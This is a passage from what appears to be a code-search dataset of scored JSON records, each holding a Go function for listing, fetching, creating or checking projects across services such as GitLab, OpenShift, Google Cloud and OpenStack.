interface{}\n\t\tprojectService := service.NewProjectService(service.GitlabClientImpl)\n\t\tswitch index {\n\t\tcase 0:\n\t\t\tresult, err = projectService.GetAllProjects()\n\t\tcase 1:\n\t\t\tprojectID := executeNotMaskedPrompt(\"Please enter the project id\", \"\")\n\t\t\tresult, err = projectService.GetProjectByID(projectID)\n\t\tcase 2:\n\t\t\treturn true\n\t\t}\n\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t} else {\n\t\t\tutil.PrintPrettyJSON(result)\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "13db418e7eab4a653b53d95ed342ac5a", "score": "0.5896369", "text": "func checkProject(GOPATH string) bool {\n\t//if _, os.Stat(GOPATH+\"/src/\")\n\treturn true\n}", "title": "" }, { "docid": "d8cc8f4515f1a3cf312f1b29e735199d", "score": "0.58829165", "text": "func (o *AuthOptions) GatherProjectInfo() (string, error) {\n\tvar msg string\n\tif o.Project != \"\" {\n\t\treturn fmt.Sprintf(\"Using project %q.\\n\", o.Project), nil\n\t}\n\tme, err := whoAmI(o.Config)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif o.Username != me.Name {\n\t\treturn \"\", fmt.Errorf(\"current user, %v, does not match expected user %v\", me.Name, o.Username)\n\t}\n\n\tprojectClient, err := projectclient.NewForConfig(o.Config)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tprojectsList, err := projectClient.ProjectV1().Projects().List(metav1.ListOptions{})\n\t// if we're running on kube (or likely kube), just set it to \"default\"\n\tif kerrors.IsNotFound(err) || kerrors.IsForbidden(err) {\n\t\tmsg += fmt.Sprintf( \"Using \\\"default\\\". You can switch projects with:\\n\\n '%s project <projectname>'\\n\", o.CommandName)\n\t\to.Project = \"default\"\n\t\treturn msg, nil\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tprojectsItems := projectsList.Items\n\tprojects := sets.String{}\n\tfor _, project := range projectsItems {\n\t\t//fmt.Println(project.Name)\n\t\tprojects.Insert(project.Name)\n\t}\n\n\tif len(o.DefaultNamespace) > 0 && !projects.Has(o.DefaultNamespace) {\n\t\t// Attempt a direct get of our current project in case it hasn't appeared in the list yet\n\t\tif currentProject, err := projectClient.ProjectV1().Projects().Get(o.DefaultNamespace, metav1.GetOptions{}); err == nil {\n\t\t\t// If we get it successfully, add it to the list\n\t\t\tprojectsItems = append(projectsItems, *currentProject)\n\t\t\tprojects.Insert(currentProject.Name)\n\t\t}\n\t}\n\n\tswitch len(projectsItems) {\n\tcase 0:\n\t\tmsg += fmt.Sprintf(`You don't have any projects. You can try to create a new project, by running\n\n $ oc new-project <projectname>\n\n`)\n\t\to.Project = \"\"\n\t\treturn \"\", fmt.Errorf(\"There are no projects for this user.Please create a Project\")\n\n\tcase 1:\n\t\to.Project = projectsItems[0].Name\n\t\tmsg += fmt.Sprintf(\"Using project %q.\\n\", o.Project)\n\n\tdefault:\n\t\tprojects := sets.String{}\n\t\tfor _, project := range projectsItems {\n\t\t\tprojects.Insert(project.Name)\n\t\t}\n\n\t\tnamespace := o.DefaultNamespace\n\t\tif !projects.Has(namespace) {\n\t\t\tif namespace != metav1.NamespaceDefault && projects.Has(metav1.NamespaceDefault) {\n\t\t\t\tnamespace = metav1.NamespaceDefault\n\t\t\t} else {\n\t\t\t\tnamespace = projects.List()[0]\n\t\t\t}\n\t\t}\n\n\t\tcurrent, err := projectClient.ProjectV1().Projects().Get(namespace, metav1.GetOptions{})\n\t\tif err != nil && !kapierrors.IsNotFound(err) && !osclientcmd.IsForbidden(err) {\n\t\t\treturn \"\", err\n\t\t}\n\t\to.Project = current.Name\n\n\t\tmsg += fmt.Sprintf(\"You have access to the following projects and can switch between them with 'oc project <projectname>':\\n\\n\")\n\t\tfor _, p := range projects.List() {\n\t\t\tif o.Project == p {\n\t\t\t\tmsg += fmt.Sprintf(\" * %s (current)\\n\", p)\n\t\t\t} else {\n\t\t\t\tmsg += fmt.Sprintf(\" * %s\\n\", p)\n\t\t\t}\n\t\t}\n\t\tmsg += fmt.Sprintf(\"\\n\")\n\t\tmsg += fmt.Sprintf(\"Using project %q.\\n\", o.Project)\n\t}\n\n\treturn msg, nil\n}", "title": "" }, { "docid": "942b137f593510070380734ff1adccae", "score": "0.58775085", "text": "func (s *ProjectsService) Check(projectName string) (*gorequest.Response, []error) {\n\tresp, _, errs := s.client.\n\t\tNewRequest(gorequest.HEAD, s.getConfigString(root)).\n\t\tQuery(fmt.Sprintf(\"project_name=%s\", projectName)).\n\t\tEnd()\n\treturn &resp, errs\n}", "title": "" }, { "docid": "d40abd456878c998ac9298075b78ef62", "score": "0.587392", "text": "func checkIfLegacyProject(pkgs map[string]*cover.Package) bool {\n\tfor _, v := range pkgs {\n\t\tif v.Module == nil {\n\t\t\treturn true\n\t\t}\n\t\treturn false\n\t}\n\tlog.Fatalln(\"Should never be reached....\")\n\treturn false\n}", "title": "" }, { "docid": "e65e5dc6e8a24687b88d4b2d35667b38", "score": "0.58124036", "text": "func (crm *CloudResourceManager) EnsureProject(name string, parent string) (string, int64, error) {\n\tcrm.log.InfoPart(\"Ensuring that project %s exists\", name)\n\tif parent != \"\" {\n\t\tcrm.log.InfoPart(\" in %s...\", parent)\n\t}\n\tctx := context.Background()\n\tprojectsService := v1.NewProjectsService(crm.V1)\n\texistingProject, err := crm.GetProject(name, parent)\n\tif err != nil {\n\t\tcrm.log.InfoPart(\"\\n\")\n\t\treturn \"\", 0, err\n\t}\n\tif existingProject != nil {\n\t\tcrm.log.InfoPart(\"already exists\\n\")\n\t\treturn existingProject.ProjectId, existingProject.ProjectNumber, nil\n\t}\n\tcrm.log.InfoPart(\"creating\\n\")\n\tprojectID, err := MakeProjectID(name, parent)\n\tif err != nil {\n\t\treturn \"\", 0, err\n\t}\n\tparentParts := strings.Split(parent, \"/\")\n\tparentResource := &v1.ResourceId{\n\t\tType: strings.TrimRight(parentParts[0], \"s\"),\n\t\tId: parentParts[1],\n\t}\n\tproject := &v1.Project{\n\t\tName: name,\n\t\tParent: parentResource,\n\t\tProjectId: projectID,\n\t}\n\tprojectCreateCall := projectsService.Create(project).Context(ctx)\n\tprojectCreateOperation, err := crm.Calls.ProjectsCreate.Do(projectCreateCall)\n\tif err != nil {\n\t\treturn \"\", 0, err\n\t}\n\tif projectCreateOperation.Error != nil {\n\t\treturn \"\", 0, errors.New(projectCreateOperation.Error.Message)\n\t}\n\tfor existingProject == nil {\n\t\texistingProject, err = crm.GetProject(name, parent)\n\t\tif err != nil {\n\t\t\treturn \"\", 0, err\n\t\t}\n\t\tif existingProject == nil {\n\t\t\ttime.Sleep(3 * time.Second)\n\t\t}\n\t}\n\treturn existingProject.ProjectId, existingProject.ProjectNumber, nil\n}", "title": "" }, { "docid": "d8c452271c8a80c62bd2dfc96ec286f2", "score": "0.5805599", "text": "func (wrapper *FindingWrapper) Project() (param *string) {\n\treturn\n}", "title": "" }, { "docid": "ddf678812b4f7ae0f221a40fa5012896", "score": "0.58036894", "text": "func getProjects(osp *OpenstackPlugin) component.Component {\n\trows := []component.TableRow{}\n\n\terr := projects.List(identityClientHelper(osp), projects.ListOpts{}).EachPage(\n\t\tfunc(page pagination.Page) (bool, error) {\n\t\t\tprojectList, err := projects.ExtractProjects(page)\n\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Broken at project list %v\\n\", err)\n\t\t\t\treturn false, err\n\t\t\t}\n\n\t\t\tfor _, project := range projectList {\n\t\t\t\tname := project.Name\n\t\t\t\tprojectCache[project.ID] = name\n\n\t\t\t\trows = append(rows, component.TableRow{\n\t\t\t\t\t\"Enabled\": component.NewText(strconv.FormatBool(project.Enabled)),\n\t\t\t\t\t\"Description\": component.NewText(project.Description),\n\t\t\t\t\t\"Name\": component.NewText(name),\n\t\t\t\t})\n\t\t\t}\n\n\t\t\treturn true, nil\n\t\t})\n\n\tif err != nil {\n\t\tlog.Printf(\"identity project list error: %s\\n\", err)\n\t}\n\n\treturn component.NewTableWithRows(\n\t\t\"Projects\",\n\t\t\"No projects found\",\n\t\tcomponent.NewTableCols(\"Name\", \"Enabled\", \"Description\"), rows)\n}", "title": "" }, { "docid": "fd7b8bc14f55d45dee7b342da87c81a5", "score": "0.57948875", "text": "func getProjects() ([]string, error) {\n\tcmdArgText := fmt.Sprintf(\"get projects --config=%s %s\", constants.KubeConfigPath, ProjectsCustomCol)\n\ttokens := strings.Split(cmdArgText, \" \")\n\tcmdName := instanceState.InstanceConfig.OcPath\n\tcmdOut, err := runner.Output(cmdName, tokens...)\n\tif err != nil {\n\t\treturn []string{}, err\n\t}\n\n\tcontents := strings.Split(string(cmdOut), \"\\n\")\n\treturn emptyFilter(contents[1:]), nil\n}", "title": "" }, { "docid": "02bbb9c3924ba9997855058a56711d46", "score": "0.5785618", "text": "func TestGetProject(t *testing.T) {\n\tserver, store := setupProjectTests()\n\n\tt.Run(\"Get Project homework\", func(t *testing.T) {\n\t\treq, _ := http.NewRequest(\"GET\", \"/projects/homework\", nil)\n\t\tw := httptest.NewRecorder()\n\t\tserver.Router.ServeHTTP(w, req)\n\n\t\tassert.Equalf(t, http.StatusOK, w.Code, \"wanted %s got %s\", http.StatusOK, w.Code)\n\t\twant := projectToJson(t, store.Projects[0])\n\t\tassert.JSONEq(t, want, w.Body.String())\n\t})\n\n\tt.Run(\"Get Project cleaning\", func(t *testing.T) {\n\t\treq, _ := http.NewRequest(\"GET\", \"/projects/cleaning\", nil)\n\t\tw := httptest.NewRecorder()\n\t\tserver.Router.ServeHTTP(w, req)\n\n\t\tassert.Equalf(t, http.StatusOK, w.Code, \"wanted %s got %s\", http.StatusOK, w.Code)\n\t\twant := projectToJson(t, store.Projects[1])\n\t\tassert.JSONEq(t, want, w.Body.String())\n\t})\n\n\tt.Run(\"returns http.StatusNotFound on nonexistent projects\", func(t *testing.T) {\n\t\treq, _ := http.NewRequest(\"GET\", \"/projects/work\", nil)\n\t\tw := httptest.NewRecorder()\n\t\tserver.Router.ServeHTTP(w, req)\n\n\t\tassert.Equalf(t, http.StatusNotFound, w.Code, \"wanted http.StatusNotFound got %s\", w.Code)\n\t})\n}", "title": "" }, { "docid": "1cab94924bdf317637f1d7cae5ac06b0", "score": "0.5768922", "text": "func (e *Endpoints) GetProject(ctx context.Context, r *http.Request, vars map[string]string) (httpserver.Responser, error) {\n\tl := logrus.WithField(\"func\", \"*Endpoints.GetProject\")\n\n\tlangCodes := i18n.Language(r)\n\tctx = context.WithValue(ctx, \"lang_codes\", langCodes)\n\n\t// 检查projectID合法性\n\tprojectID, err := strutil.Atoi64(vars[\"projectID\"])\n\tif err != nil {\n\t\treturn apierrors.ErrGetProject.InvalidParameter(err).ToResp(), nil\n\t}\n\n\torgIDStr := r.Header.Get(httputil.OrgHeader)\n\tinternalClient := r.Header.Get(httputil.InternalHeader)\n\tif internalClient == \"\" {\n\t\tuserID, err := user.GetUserID(r)\n\t\tif err != nil {\n\t\t\treturn apierrors.ErrGetProject.NotLogin().ToResp(), nil\n\t\t}\n\t\t// 操作鉴权\n\t\treq := apistructs.PermissionCheckRequest{\n\t\t\tUserID: userID.String(),\n\t\t\tScope: apistructs.ProjectScope,\n\t\t\tScopeID: uint64(projectID),\n\t\t\tResource: apistructs.ProjectResource,\n\t\t\tAction: apistructs.GetAction,\n\t\t}\n\t\tif access, err := e.bdl.CheckPermission(&req); err != nil || !access.Access {\n\t\t\torgID, err := strconv.ParseUint(orgIDStr, 10, 64)\n\t\t\tif err != nil {\n\t\t\t\treturn apierrors.ErrGetProject.InvalidParameter(err).ToResp(), nil\n\t\t\t}\n\t\t\t// 若非项目管理员,判断用户是否为企业管理员(数据中心)\n\t\t\treq := apistructs.PermissionCheckRequest{\n\t\t\t\tUserID: userID.String(),\n\t\t\t\tScope: apistructs.OrgScope,\n\t\t\t\tScopeID: orgID,\n\t\t\t\tResource: apistructs.ProjectResource,\n\t\t\t\tAction: apistructs.GetAction,\n\t\t\t}\n\t\t\tif access, err := e.bdl.CheckPermission(&req); err != nil || !access.Access {\n\t\t\t\treturn apierrors.ErrGetProject.AccessDenied().ToResp(), nil\n\t\t\t}\n\t\t}\n\t}\n\n\tdto, apiError := e.project.Get(ctx, uint64(projectID))\n\tif apiError != nil {\n\t\tl.Errorf(\"failed to Get: %s\", apiError.Error())\n\t\treturn apiError.ToResp(), nil\n\t}\n\n\treturn httpserver.OkResp(dto)\n}", "title": "" }, { "docid": "3daa6a29736f284fdf29ed5e656ee897", "score": "0.57575536", "text": "func (o *Disk) GetProjectOk() (*string, bool) {\n\tif o == nil || o.Project == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Project, true\n}", "title": "" }, { "docid": "ff23abbc80d07c818a0c65fcef94c6b3", "score": "0.5745637", "text": "func Projects(w http.ResponseWriter, r *http.Request) {\n\tproject := projects.Project{}\n\terr := json.NewDecoder(r.Body).Decode(&project)\n\tif err != nil {\n\t\terrorImpl.WriteHTTPError(w, http.StatusInternalServerError, errorImpl.AdminsError(\"Decode project error\", err))\n\t\treturn\n\t}\n\tproject.DBClient = pgClient\n\tswitch r.Method {\n\tcase \"POST\":\n\t\terr = project.Create()\n\t\tif err != nil {\n\t\t\terrorImpl.WriteHTTPError(w, http.StatusInternalServerError, errorImpl.AdminsError(\"Create error\", err))\n\t\t\treturn\n\t\t}\n\t\tos.MkdirAll(os.Getenv(\"DIRPROJECTS\")+\"/\"+project.Name+\"/jmeter\", 0777)\n\t\tif os.IsExist(err) {\n\t\t\t//todo\n\t\t} else {\n\t\t\terrorImpl.WriteHTTPError(w, http.StatusInternalServerError, errorImpl.AdminsError(\"Mkdir project error\", err))\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"Project created \\\"}\"))\n\t\tif errWrite != nil {\n\t\t\tlog.Printf(\"[ERROR]User created, but Not Writing to ResponseWriter due: %s\", errWrite.Error())\n\t\t}\n\tcase \"PUT\":\n\t\tname, err := project.DBClient.GetProjectName(project.ID)\n\t\tif err != nil {\n\t\t\terrorImpl.WriteHTTPError(w, http.StatusInternalServerError, errorImpl.AdminsError(\"Get project name error\", err))\n\t\t\treturn\n\t\t}\n\t\tos.Rename(os.Getenv(\"DIRPROJECTS\")+\"/\"+name, os.Getenv(\"DIRPROJECTS\")+\"/\"+project.Name)\n\t\terr = project.Update()\n\t\tif err != nil {\n\t\t\terrorImpl.WriteHTTPError(w, http.StatusInternalServerError, errorImpl.AdminsError(\"Rename project dir error\", err))\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"Project updated \\\"}\"))\n\t\tif errWrite != nil {\n\t\t\tlog.Printf(\"[ERROR] Project updated, but Not Writing to ResponseWriter due: %s\", errWrite.Error())\n\t\t}\n\tcase \"DELETE\":\n\t\tos.Remove(os.Getenv(\"DIRPROJECTS\") + \"/\" + project.Name)\n\t\terr = project.Delete()\n\t\tif err != nil {\n\t\t\terrorImpl.WriteHTTPError(w, http.StatusInternalServerError, errorImpl.AdminsError(\"Remove project dir error\", err))\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, errWrite := w.Write([]byte(\"{\\\"Message\\\":\\\"Project deleted \\\"}\"))\n\t\tif errWrite != nil {\n\t\t\tlog.Printf(\"[ERROR] Project deleted, but Not Writing to ResponseWriter due: %s\", errWrite.Error())\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c1ae14971a3155dfd37acb3522cd1229", "score": "0.5734567", "text": "func ProjectProjectHandler(w http.ResponseWriter, r *http.Request, params martini.Params) {\n\ttitle := params[\"name\"]\n\n\tif title == \"\" {\n\t\terror.ErrorHandler(w, r, 404)\n\t} else {\n\t\tdb := database.QuickOpenDB()\n\t\tdefer db.Close()\n\n\t\tproject, err := database.GetProjectByTitle(db, title)\n\n\t\tif err != nil {\n\t\t\terror.ErrorHandler(w, r, 404)\n\t\t} else {\n\t\t\thelpers.SendPage(w, \"project\", toDisplayProject(project))\n\t\t}\n\n\t}\n}", "title": "" }, { "docid": "6931e644f99c72406ca9a7471fddb2bb", "score": "0.572686", "text": "func (_ *ErrWorkspaceNotFound) empty() {}", "title": "" }, { "docid": "bc57bf127ee850ce4b42d10d219e852d", "score": "0.5717271", "text": "func ProjectExistsP(exec boil.Executor, id int) bool {\n\te, err := ProjectExists(exec, id)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn e\n}", "title": "" }, { "docid": "99ad441d0d103be01ea10db75e655810", "score": "0.57143044", "text": "func Projectvalidate(req *http.Request) (validation.Validation, models.Projects) {\n\tproject := models.Projects{\n\t\tName: req.FormValue(\"project-name\"),\n\t\tIsActive: 1,\n\t}\n\n\tvalid := validation.Validation{}\n\t_, _ = valid.Valid(&project)\n\n\treturn valid, project\n}", "title": "" }, { "docid": "e7e6d5d46d07582bf2f5fe9081822c15", "score": "0.57096875", "text": "func (c *Client) CheckProjectExist(name string) (bool, error) {\n\th := map[string]string{\n\t\t\"x-log-bodyrawsize\": \"0\",\n\t}\n\turi := \"/\"\n\tproj := convert(c, name)\n\t_, err := request(proj, \"GET\", uri, h, nil)\n\tif err != nil {\n\t\tif _, ok := err.(*Error); ok {\n\t\t\tslsErr := err.(*Error)\n\t\t\tif slsErr.Code == \"ProjectNotExist\" {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\treturn false, slsErr\n\t\t}\n\t\treturn false, err\n\t}\n\treturn true, nil\n}", "title": "" }, { "docid": "e1f32c7ca8117d3573f971b8b84cf437", "score": "0.569429", "text": "func SelectCreateProject(c context.Context, client *api.Client, orgID *identity.ID, name string) (*api.ProjectResult, string, bool, error) {\n\tvar projects []api.ProjectResult\n\tvar err error\n\tif orgID != nil {\n\t\t// Get the list of projects the user has access to in the specified org\n\t\tprojects, err = listProjects(&c, client, orgID, nil)\n\t\tif err != nil {\n\t\t\treturn nil, \"\", false, err\n\t\t}\n\t}\n\n\tvar idx int\n\tif name == \"\" {\n\t\tidx, name, err = SelectProjectPrompt(projects)\n\t\tif err != nil {\n\t\t\treturn nil, \"\", false, err\n\t\t}\n\t} else {\n\t\tfound := false\n\t\tfor i, p := range projects {\n\t\t\tif p.Body.Name == name {\n\t\t\t\tfound = true\n\t\t\t\tidx = i\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !found {\n\t\t\tfmt.Println(promptui.FailedValue(\"Project name\", name))\n\t\t\treturn nil, \"\", false, errs.NewExitError(\"Project not found.\")\n\t\t}\n\t\tfmt.Println(promptui.SuccessfulValue(\"Project name\", name))\n\t}\n\n\tif idx == promptui.SelectedAdd {\n\t\treturn nil, name, true, nil\n\t}\n\n\treturn &projects[idx], name, false, nil\n}", "title": "" }, { "docid": "b0c53a3ac8dd6b987c6b7fa8269b63f6", "score": "0.5669823", "text": "func (client *Client) GetProjects(projects []string) (*[]models.Project, error) {\n\tif present, err := cache.CheckCache(client.cache, cache.AllProjectConst); !present && err == nil {\n\t\tbar := uiprogress.AddBar(2)\n\t\tbar.AppendCompleted()\n\t\tbar.PrependFunc(prependFormatFunc(func(b *uiprogress.Bar) string {\n\t\t\tif b.Current() == b.Total {\n\t\t\t\treturn \"Project data retrieved\"\n\t\t\t} else if b.Current() >= 1 {\n\t\t\t\treturn \"Writing to cache\"\n\t\t\t}\n\t\t\treturn \"Dowloading project data\"\n\t\t}))\n\t\topts := urlOptions{\n\t\t\tlimit: 250,\n\t\t}\n\t\tresp, err := client.api.Get(projectsURLPath, opts)\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tbar.Incr()\n\t\tvar jsonResp ProjectResponse\n\t\terr = jsonResp.UnmarshalHTTP(resp)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, v := range jsonResp.Values {\n\t\t\tkey := fmt.Sprintf(\"project:%s\", v.Key)\n\t\t\terr = cache.SetCacheValue(client.cache, key, &v)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tbar.Incr()\n\t\tresults := models.FilterProjects(&jsonResp.Values, projects)\n\t\treturn &results, nil\n\t} else if present && err == nil {\n\t\tentities, err := cache.GetCacheValue(client.cache, []string{cache.AllProjectConst})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ttranslatedEntities := make([]models.Project, 0)\n\t\tfor _, ce := range entities {\n\t\t\tvar dat models.Project\n\t\t\terr = cache.UnmarshalEntity(ce, &dat)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\ttranslatedEntities = append(translatedEntities, dat)\n\t\t}\n\t\tresults := models.FilterProjects(&translatedEntities, projects)\n\t\treturn &results, nil\n\t}\n\treturn nil, errors.New(\"Reached end of GetProjects function with no data, check logic\")\n}", "title": "" }, { "docid": "96ee57fceea74bbdf8df9cd817691f12", "score": "0.56508297", "text": "func (cli *CLI) Projects(ctx *cli.Context) {\n\tif err := cli.init(ctx); err != nil {\n\t\tcli.Err(err)\n\t\treturn\n\t}\n\tp, err := cli.c.Projects()\n\tif err != nil {\n\t\tcli.Err(err)\n\t\treturn\n\t}\n\tmsg := make([]interface{}, 0, len(p))\n\tfor _, p := range p {\n\t\tmsg = append(msg, p)\n\t}\n\tcli.Out(msg...)\n}", "title": "" }, { "docid": "6e1d2298a3ca58f459518384f4e9a673", "score": "0.56288195", "text": "func ProjectExists(exec boil.Executor, id int) (bool, error) {\n\tvar exists bool\n\tsql := \"select exists(select 1 from \\\"projects\\\" where \\\"id\\\"=$1 limit 1)\"\n\n\tif boil.DebugMode {\n\t\tfmt.Fprintln(boil.DebugWriter, sql)\n\t\tfmt.Fprintln(boil.DebugWriter, id)\n\t}\n\n\trow := exec.QueryRow(sql, id)\n\n\terr := row.Scan(&exists)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: unable to check if projects exists\")\n\t}\n\n\treturn exists, nil\n}", "title": "" }, { "docid": "9a2f4554eeccb0f6a81c3f94e4d4ceb5", "score": "0.56223166", "text": "func getProject(request router.Request) (int, []byte) {\n\n\tprojectDTO, err := GetProjectDTOFromGAE(request.GetPathParams()[\"project_id\"], request.GetContext())\n\n\tif err != nil && strings.Contains(err.Error(), \"no such entity\") {\n\t\tlog.Errorf(request.GetContext(), \"Error retriving Project: %v\", err)\n\t\treturn http.StatusNotFound, []byte(\"Project Not Found\")\n\t} else if err != nil {\n\t\tlog.Errorf(request.GetContext(), \"Error retriving project: %v\", err)\n\t\treturn http.StatusInternalServerError, []byte(err.Error())\n\t} else {\n\t\tproject, err := projectDTO.GetProject()\n\t\tif err != nil {\n\t\t\tlog.Infof(request.GetContext(), \"Error %v\", err)\n\t\t\treturn http.StatusInternalServerError, []byte(err.Error())\n\n\t\t}\n\n\t\tprojectJSON, err := json.MarshalIndent(project, \"\", \"\t\")\n\t\tif err != nil {\n\t\t\tlog.Infof(request.GetContext(), \"Error %v\", err)\n\t\t\treturn http.StatusInternalServerError, []byte(err.Error())\n\n\t\t}\n\n\t\treturn http.StatusOK, projectJSON\n\n\t}\n\n}", "title": "" }, { "docid": "90f2cb87c7af7b618a663a8f755b143e", "score": "0.56171864", "text": "func ProjectFromName(projects []Project, projectName string) (Project, error) {\n\tfor _, project := range projects {\n\t\tif project.Name == projectName {\n\t\t\treturn project, nil\n\t\t}\n\t}\n\treturn Project{}, fmt.Errorf(\"No project found: %s\", projectName)\n}", "title": "" }, { "docid": "0d75a6ad27b472fee1f06130b074efc0", "score": "0.5616673", "text": "func (o *Proforma) GetProjectOk() (*string, bool) {\n\tif o == nil || o.Project == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Project, true\n}", "title": "" }, { "docid": "685a9c1904e2295780918ab3592c2b21", "score": "0.5616454", "text": "func projectExists(deployment string, projectName string) bool {\n\tvar project models.Project\n\n\tbucket := DB.From(deployment)\n\n\terr := bucket.One(\"Name\", projectName, &project)\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\"function\": \"projectExists\"}).Debug(err)\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "1365638eb2bc0e02c5f7fbdea08ae4da", "score": "0.5614632", "text": "func (u *Resource) ProjectCreateHandler(req *restful.Request,\n\tresp *restful.Response) {\n\tlogrus.Debugf(\"ProjectCreateHandler is called\")\n\n\tproj_name := req.QueryParameter(\"name\")\n\topsenv_id := req.QueryParameter(\"opsenv_id\")\n\tsm_id := req.QueryParameter(\"sm_id\")\n\n\t//query gerrit host form env collection and\n\t//set gerritHost\n\tu.setGerritHostByEnvId(opsenv_id)\n\n\t//check host\n\tif len(gerritHost) == 0 {\n\t\tlogrus.Errorln(\"Gerrit host not found\")\n\t\tresponse.WriteError(response.ErrGenericInternal, resp)\n\t\treturn\n\t}\n\n\t//call gerrit to create project\n\thttp_resp, err := u.createProjectInGerrit(proj_name)\n\tif err != nil {\n\t\tlogrus.Errorf(\"Cannot creating project in gerrit.%v\", err.Error())\n\t\tresponse.WriteError(response.ErrCreateProject, resp)\n\t\treturn\n\t}\n\n\t//if failed\n\tif http_resp.StatusCode != 201 {\n\t\tlogrus.Debugf(\"Failed to create project:\" + proj_name)\n\t\tswitch http_resp.StatusCode {\n\t\tcase 400:\n\t\t\tlogrus.Errorln(\"Check if opsenv_id exists in opsenvCollection\")\n\t\t\tresponse.WriteStatusError(http_resp.StatusCode,\n\t\t\t\tresponse.ErrCreateProject, resp)\n\t\tcase 401:\n\t\t\tlogrus.Errorln(\"Check admin name and password\")\n\t\t\tresponse.WriteStatusError(http_resp.StatusCode,\n\t\t\t\tresponse.ErrCreateProject, resp)\n\t\tcase 403:\n\t\t\tlogrus.Errorln(\"Authorization failed,or no capability\")\n\t\t\tresponse.WriteStatusError(http_resp.StatusCode,\n\t\t\t\tresponse.ErrCreateProject, resp)\n\t\tcase 404:\n\t\t\tlogrus.Errorln(\"Check if opsenv_id exists in opsenvCollection\")\n\t\t\tresponse.WriteStatusError(http_resp.StatusCode,\n\t\t\t\tresponse.ErrCreateProject, resp)\n\t\tcase 409:\n\t\t\tlogrus.Errorln(\"Project name already exists\")\n\t\t\tresponse.WriteStatusError(http_resp.StatusCode,\n\t\t\t\tresponse.ErrProjectConflict, resp)\n\t\tdefault:\n\t\t\tlogrus.Errorln(\"Other reason:%s\", http_resp.Status)\n\t\t\tresponse.WriteStatusError(http_resp.StatusCode,\n\t\t\t\tresponse.ErrCreateProject, resp)\n\t\t}\n\t\treturn\n\t}\n\n\t//created\n\t//combine git url\n\tgit_url := u.combineGitUrl(proj_name)\n\t//new entity Project\n\tobjId := bson.NewObjectId()\n\tproject := entity.Project{\n\t\tId: objId.Hex(),\n\t\tName: proj_name,\n\t\tGitUrl: git_url,\n\t\tOpsEnvId: opsenv_id,\n\t\tServiceModelId: sm_id,\n\t\tStatus: entity.PROJECT_STATUS_RUNNING,\n\t}\n\t//insert into database\n\tselector := make(bson.M)\n\tselector[ParamID] = objId\n\t_, _, err = u.Dao.HandleInsert(projectCollection, selector,\n\t\tConvertProjectToBson(project))\n\tif err != nil {\n\t\tlogrus.Errorf(\"insert projInfo err is %v\", err)\n\t\tresponse.WriteError(response.ErrDBInsert, resp)\n\t\treturn\n\t}\n\n\t//response\n\tlogrus.Debugf(\"Success: Created project:\" + proj_name)\n\tresponse.WriteResponseStatus(http.StatusCreated, project, resp)\n\treturn\n}", "title": "" }, { "docid": "79752cef6a975b672ab1aa91ef3bffb1", "score": "0.56111634", "text": "func (h *Handler) ProjectsRead(w http.ResponseWriter, r *http.Request) {\n\tid, err := strconv.Atoi(chi.URLParam(r, \"id\"))\n\tif err != nil {\n\t\terrorResponse(w, http.StatusBadRequest, badRequestError)\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tp, err := h.Store.Project(id)\n\tif err != nil {\n\t\tswitch err {\n\t\tcase sql.ErrNoRows:\n\t\t\terrorResponse(w, http.StatusNotFound, projectNotFoundError)\n\t\tdefault:\n\t\t\terrorResponse(w, http.StatusNotFound, defaultError)\n\t\t}\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tresponse(w, http.StatusOK, p)\n}", "title": "" }, { "docid": "d82457a7581d9bbde2d2046519fdc74d", "score": "0.56005555", "text": "func getProject(w http.ResponseWriter, r *http.Request) {\n\tlog.Printf(\"Request for: %v\", r.URL)\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tparams := mux.Vars(r)\n\tfor _, item := range projects {\n\t\tfor item.ID == params[\"id\"] {\n\t\t\tjson.NewEncoder(w).Encode(item)\n\t\t\treturn\n\t\t}\n\t}\n\tjson.NewEncoder(w).Encode(&Project{})\n}", "title": "" }, { "docid": "5822a5e2bf3a4fb1fabb7c38b120a6cb", "score": "0.5590768", "text": "func checkProjectCreateOrDeleteOnlyOnInvalidNamespace(command *cobra.Command, errFormatForCommand string) error {\n\t// do not error out when its odo delete -a, so that we let users delete the local config on missing namespace\n\tif command.HasParent() && command.Parent().Name() != \"project\" && (command.Name() == \"create\" || (command.Name() == \"delete\" && !command.Flags().Changed(\"all\"))) {\n\t\treturn fmt.Errorf(errFormatForCommand, command.Root().Name())\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d40189edb8ec74811ec172699d65ec43", "score": "0.5590621", "text": "func (prj *Project) validateProject() (err error) {\n\tif prj.Base.Namespace == \"\" {\n\t\treturn errors.New(\"Error: No namespace available \")\n\t}\n\n\tvar enabledAnnotations = configuration.GetConfiguration().Nginx.Loadbalancer.Annotations.Enabled\n\tif !enabledAnnotations && prj.Base.IPAddress == \"\" {\n\t\treturn errors.New(\"Error: If 